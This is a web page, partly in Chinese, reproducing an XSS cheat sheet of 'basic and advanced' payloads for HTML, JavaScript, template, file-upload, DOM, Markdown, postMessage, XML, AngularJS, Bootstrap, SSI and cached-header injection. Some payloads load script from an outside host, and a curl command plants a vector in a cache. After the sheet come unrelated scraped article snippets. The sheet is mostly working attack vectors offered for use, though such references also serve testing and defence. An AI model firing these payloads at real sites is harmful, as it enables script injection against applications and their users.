XSS Cheat Sheet(basics and advanced)
XSS Cheat Sheet
BASICS
- HTML注入
当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用。如果输入在HTML注释中,则在payload前加上“-->”
<svg onload=alert(1)>
"><svg onload=alert(1)>
- HTML注入-标签块突破
当输入落在以下标签的内部或打开/关闭之间时使用:
<title><style><script><textarea><noscript><pre><xmp><iframe>
</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
- HTML注入-内联
当输入落在HTML标记的属性值内,但该标记不能以大于号(>)结束时使用
"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
- HTML注入-源文件
当输入作为下列HTML标记属性的值:href、src、data或action(也包括formaction)时使用。脚本标记中的Src属性可以是URL或“data:,alert(1)”。
javascript:alert(1)
Javascript注入
当输入位于脚本块中,在字符串分隔的值内时使用
'-alert(1)-'
'/alert(1)//
Javascript Injection - Escape Bypass
当输入位于脚本块中,在字符串分隔值内,但引号用反斜杠转义时使用。
\'/alert(1)//
- Javascript Injection – Script Breakout
</script><svg onload=alert(1)>
ADVANCED
- Javascript Injection - Logical Block
当输入在脚本块中、在字符串分隔值中、在单个逻辑块(如函数或条件块)(if、else等)中着陆时,使用payload1或payload2。如果引号用反斜杠转义,请使用payload3。
'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
- Javascript Injection - Quoteless
使用时,有多个反射在同一行JS代码
/alert(1)//\
/alert(1)}//\
- Javascript上下文——模板文字中的占位符注入
当输入位于用反号(' ')分隔的字符串内或在模板引擎中时使用
${alert(1)}
- 多反射HTML注入-双反射(单输入)
用于利用同一页面上的多个反射
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
- 多反射HTML注入-三反射(单输入)
用于利用同一页面上的多个反射。
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
- Multi Input Reflections HTML Injection - Double & Triple(多次输入)
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
- File Upload Injection – Filename
当上传的文件名在目标页的某个地方反映出来时使用。
"><svg onload=alert(1)>.gif
- File Upload Injection – Metadata
Use when metadata of uploaded file is reflected somewhere in target page. It uses
command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.
当上传文件的元数据在目标页面某处反映时使用。它使用命令行exiftool($是终端提示符),可以设置任何元数据字段。
$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
- File Upload Injection – SVG File
用于在上传图像文件时在目标上创建存储的XSS。将下面的内容保存为
“xss.svg”。
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
- DOM Insert Injection
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
- DOM Insert Injection – Resource Request
本机javascript代码将请求的结果插入到可由攻击者控制的URL中时使用。
data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
- PHP Self URL Injection
当前URL被目标的底层PHP代码用作属性值时使用
例如,HTML表单。在php扩展和查询部分(?)的开始之间使用斜杠(/)注入。
https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
- Markdown Vector
用于文本框、注释部分等允许某些标记输入的地方。 Click to fire.
[clickme](javascript:alert1)
[clickme](javascript:alert`1`)
- Script Injection - No Closing Tag
Use when there’s a closing script tag (</script>) somewhere in the code after reflection.
<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
- Javascript postMessage() DOM Injection (with Iframe)
Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)”
in javascript code without a check for origin. Target must be able to be framed (X-Frame
Options header according to context). Save as HTML file (or using data:text/html) providing
TARGET_URL and INJECTION (a XSS vector or payload).
<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
- XML-Based XSS
Use to inject XSS vector in a XML page (content types text/xml or application/xml).
Prepend a “-->” to payload if input lands in a comment section or “]]>” if input lands in a
CDATA section.
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
- AngularJS Injections (v1.6 and up)
Use when there’s an AngularJS library loaded in page, inside an HTML block with ng-app
directive (1 st payload) or creating your own (2 nd one).
{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
- Onscroll Universal Vector Onscroll通用矢量
当使用onscroll事件处理程序时,用于XSS而不需要用户交互。
It works with
address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6
HTML tags.
<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
Type Juggling
Use to pass an “if” condition matching a number in loose comparisons.
1<svg onload=alert(1)>
1"><svg onload=alert(1)>
- XSS in SSI
Use when there’s a Server-Side Include (SSI) injection.
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
- SQLi Error-Based XSS
用于可以触发SQL错误消息的端点(使用引号或反斜杠)。
'1<svg onload=alert(1)>
<svg onload=alert(1)>\
- Injection in JSP Path
Use in JSP-based applications in the path of URL.
//DOMAIN/PATH/;<svg onload=alert(1)>
//DOMAIN/PATH/;"><svg onload=alert(1)>
- JS Injection - ReferenceError Fix
用于修正一些挂起的javascript代码的语法。检查控制台标签在浏览器
开发工具(F12)为各自的ReferenceError和替换相应的var和函数名。
(Use to fix the syntax of some hanging javascript code. Check console tab in Browser
Developer Tools (F12) for the respective ReferenceError and replace var and function
names accordingly.)
';alert(1);var myObj='
';alert(1);function myFunc(){}'
- Bootstrap Vector (up to v3.4.0)
Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just
click anywhere in page to trigger. Any char of href value can be HTML encoded do bypass
filters.
<html data-toggle=tab href="<img src=x onerror=alert(1)>">
- Browser Notification
用作提示、提示和确认弹出窗口的另一种选择。它需要用户接受(第1个有效载荷),但是一旦用户之前为该站点进行了授权,就可以使用第2个有效载荷。
Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
- XSS in HTTP Header - Cached
Use to store a XSS vector in application by using the MISS-MISS-HIT cache scheme (if
there’s one in place). Replace with your respective vector and TARGET with a dummy
string to avoid the actual cached version of the page. Fire the same request 3 times.
$ curl -H "Vulnerable_Header: <XSS>" TARGET/?dummy_string
XSS Cheat Sheet(basics and advanced)的更多相关文章
- XSS Cheat Sheet
Basic and advanced exploits for XSS proofs and attacks. Work in progress, bookmark it. Technique Vec ...
- XSS Filter Evasion Cheat Sheet 中文版
前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...
- XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)
本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...
- Racket Cheat Sheet
Racket Cheat Sheet 来源 http://docs.racket-lang.org/racket-cheat/index.html?q=Racket%20Cheat%20Sheet ...
- 转:PostgreSQL Cheat Sheet
PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...
- Git Cheat Sheet
Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...
- CSS3 Animation Cheat Sheet:实用的 CSS3 动画库
CSS3 Animation Cheat Sheet 是一组预设的动画库,为您的 Web 项目添加各种很炫的动画.所有你需要做的是添加样式表到你的网站,为你想要添加动画效果的元素应用预制的 CSS 类 ...
- IOS Application Security Testing Cheat Sheet
IOS Application Security Testing Cheat Sheet [hide] 1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...
- HTML5 Cheat sheet PNG帮助手册(标签、事件、兼容)
HTML5 Cheat sheet PNG帮助手册(标签.事件.兼容) 1.HTML5标签 2.HTML5事件 3.HTML5兼容 最新HTML5手册资料请参考:http://www.inmotion ...
随机推荐
- 分布式爬虫scrapy-redis
第一步 下载scrapy模块: pip install scrapy-redis 第二步 创建项目 在终端/cmd进入创建项目的目录: cd 路径: scrapy startproject douba ...
- Kitty-Cloud环境准备
项目地址 https://github.com/yinjihuan/kitty-cloud 开发工具 开发工具目前对应的都是我本机的一些工具,大家可以根据自己平时的习惯选择对应的工具即可. 工具 说明 ...
- Salesforce LWC学习(十五) Async 以及 Picklist 公用方法的实现
本篇参考:salesforce 零基础学习(六十二)获取sObject中类型为Picklist的field values(含record type) https://developer.salesfo ...
- C 怪兽游戏
时间限制 : - MS 空间限制 : - KB 评测说明 : 1s,256m 问题描述 何老板在玩一款怪兽游戏.游戏虽然简单,何老板仍旧乐此不疲.游戏一开始有N只怪兽,编号1到N.其中第i只怪兽 ...
- E - River Hopscotch POJ - 3258(二分)
E - River Hopscotch POJ - 3258 Every year the cows hold an event featuring a peculiar version of hop ...
- 在非主线程里面使用NSTimer创建和取消定时任务
为什么要在非主线程创建NSTimer 将 timer 添加到主线程的Runloop里面本身会增加线程负荷 如果主线程因为某些原因阻塞卡顿了,timer 定时任务触发的时间精度肯定也会受到影响 有些定时 ...
- stm32:extern关键字
参考:http://c.biancheng.net/view/404.html 1.在一个文件中: #include <stdio.h> int max(int x,int y); int ...
- springboot 切面添加日志功能
1.新建一个springboot项目 2.定义个切面类,并指定切入点,获取所需记录信息(如:访问人IP, 访问地址,访问地址名称等) 3.新建数据库 SET FOREIGN_KEY_CHECKS=0; ...
- vscode 保存自动 格式化eslint 代码
在网上找了很多种方法,大多都没有成功 一下是一种成功的 配置方法: 1) First, you need to install the ESLint extension in the VS code ...
- 自动下载bing当日墙纸,并改变为gnome桌面壁纸
写了一个手动白嫖当时bing的当日壁纸,并将其改变为gnome的壁纸,还是学到蛮多东东的 下一步的问题是加入到开机自启动项,使得开机后可以自动更新,目前已看到几篇博客 当然,也写了一个脚本使得可以恢复 ...